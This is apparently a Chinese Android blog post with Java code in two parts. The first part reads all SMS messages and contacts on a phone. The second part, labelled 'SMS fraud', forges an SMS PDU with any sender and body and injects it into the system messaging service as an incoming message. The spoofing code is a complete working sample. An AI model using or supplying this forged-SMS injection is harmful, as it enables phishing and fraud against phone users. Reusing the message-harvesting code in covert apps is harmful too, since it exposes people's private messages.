原理是通过,contentprovider获取系统短信数据库中的字段信息而达到获取内容目的
效果图如下:
具体代码如下:
import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import android.app.ListActivity; import android.content.ContentResolver; import android.database.Cursor; import android.database.sqlite.SQLiteException; import android.net.Uri; import android.os.Bundle; import android.provider.ContactsContract; import android.provider.ContactsContract.CommonDataKinds.Phone; import android.provider.ContactsContract.PhoneLookup; import android.util.Log; import android.widget.ListView; import android.widget.SimpleAdapter; public class QureSms extends ListActivity { ListView smslist=null; //显示列表信息 ArrayList<Map<String,Object>> mData= new ArrayList<Map<String,Object>>(); List<String> title=new ArrayList<String>(); //短信来源 List<String> text=new ArrayList<String>(); //短信内容 @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); smslist=getListView(); getSmsInPhone(); int lengh = title.size(); for(int i =0; i < lengh; i++) { Map<String,Object> item = new HashMap<String,Object>(); item.put("title", title.get(i)); item.put("text", text.get(i)); mData.add(item); } SimpleAdapter adapter = new SimpleAdapter(this,mData,android.R.layout.simple_list_item_2, new String[]{"title","text"},new int[]{android.R.id.text1,android.R.id.text2}); setListAdapter(adapter); } /** * 获取手机内所以短消息 */ private void getSmsInPhone(){ final String SMS_URI_ALL = "content://sms/"; /*final String SMS_URI_INBOX = "content://sms/inbox"; final String SMS_URI_SEND = "content://sms/sent"; final String SMS_URI_DRAFT = "content://sms/draft"; */ try{ ContentResolver cr = getContentResolver(); String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"}; Uri uri = Uri.parse(SMS_URI_ALL); Cursor cur = cr.query(uri, projection, null, null, "date desc"); if (cur.moveToFirst()) { String name; String phoneNumber; String smsbody; String date; String type; // int nameColumn = cur.getColumnIndex("person"); int phoneNumberColumn = cur.getColumnIndex("address"); int smsbodyColumn = cur.getColumnIndex("body"); int dateColumn = cur.getColumnIndex("date"); int typeColumn = cur.getColumnIndex("type"); do{ phoneNumber = cur.getString(phoneNumberColumn); // name = cur.getString(nameColumn); 这样获取的联系认为空,所以我改用下面的方法获取 name=getPeopleNameFromPerson(phoneNumber); smsbody = cur.getString(smsbodyColumn); SimpleDateFormat dateFormat = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); Date d = new Date(Long.parseLong(cur.getString(dateColumn))); date = dateFormat.format(d); int typeId = cur.getInt(typeColumn); if(typeId == 1){ type = "接收"; } else if(typeId == 2){ type = "发送"; } else { type = "草稿"; } title.add(type+" "+date+'\n'+phoneNumber); text.add(name+'\n'+smsbody); if(smsbody == null) smsbody = ""; } while(cur.moveToNext()); } cur.close(); cur=null; } catch(SQLiteException ex) { Log.e("SQLiteException in getSmsInPhone", ex.getMessage()); } } /** * 通过address手机号关联Contacts联系人的显示名字 * @param address * @return */ private String getPeopleNameFromPerson(String address){ if(address == null || address == ""){ return null; } String strPerson = "null"; String[] projection = new String[] {Phone.DISPLAY_NAME, Phone.NUMBER}; Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, address); // address 手机号过滤 Cursor cursor = getContentResolver().query(uri_Person, projection, null, null, null); if(cursor.moveToFirst()){ int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME); String strPeopleName = cursor.getString(index_PeopleName); strPerson = strPeopleName; } else{ strPerson = address; } cursor.close(); cursor=null; return strPerson; } }
最后添加必要权限:
<uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" />
短信欺诈:本地程序可以根据sms协议及格式进行伪造短信内容的行为。
示例代码:
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.lang.reflect.Method; import java.util.Calendar; import java.util.GregorianCalendar; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.PhoneNumberUtils; import android.util.Log; import android.view.View; import android.widget.EditText; import com.example.androidtest.R; public class SmsCheat extends Activity{ EditText editBody,editNum; @Override protected void onCreate(Bundle savedInstanceState) { setContentView(R.layout.sms_send); editBody=(EditText)findViewById(R.id.smsEdit); editNum=(EditText)findViewById(R.id.smsNumEdit); super.onCreate(savedInstanceState); } public void onsendClick(View view) { String str=editBody.getText().toString(); String num=editNum.getText().toString(); createFakeSms2(getApplicationContext(), num, str); } private static void createFakeSms2(Context context, String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendar calendar = Calendar.getInstance();//new GregorianCalendar(); // dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); /* dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));*/ try { ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class cReflectedNFCExtras = Class.forName(sReflectedClassName); Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); bo.write(bodybytes); } catch (Exception e) { try { // try UCS-2 byte[] bodybytes = encodeUCS2(body, null); bo.write(0x08); // encoding: 0x08 (GSM_UCS2) for UCS-2 bo.write(dateBytes); bo.write(bodybytes); } catch(UnsupportedEncodingException uex) { Log.e("_DEBUG_", String.format("String '%s' encode unknow", body)); } } Log.d("_DEBUG_", String.format("PDU: ", bytesToHexString(bo.toByteArray()))); pdu = bo.toByteArray(); } catch (IOException e) { e.printStackTrace(); } Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.startService(intent); } private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); } /** * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if necessary * * @return * @throws UnsupportedEncodingException */ private static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException { byte[] userData, textPart; textPart = message.getBytes("utf-16be"); if (header != null) { // Need 1 byte for UDHL userData = new byte[header.length + textPart.length + 1]; userData[0] = (byte)header.length; System.arraycopy(header, 0, userData, 1, header.length); System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length); } else { userData = textPart; } byte[] ret = new byte[userData.length+1]; ret[0] = (byte) (userData.length & 0xff ); System.arraycopy(userData, 0, ret, 1, userData.length); return ret; } /** * Change bytes to HexString * @param bArray * @return */ public static final String bytesToHexString(byte[] bArray) { StringBuffer result = new StringBuffer(bArray.length); String sTemp; for (int i = 0; i < bArray.length; i++) { sTemp = Integer.toHexString(0xFF & bArray[i]); if (sTemp.length() < 2) result.append(0); result.append(sTemp.toUpperCase()); } return result.toString(); } }
http://stackoverflow.com/a/12338541
http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app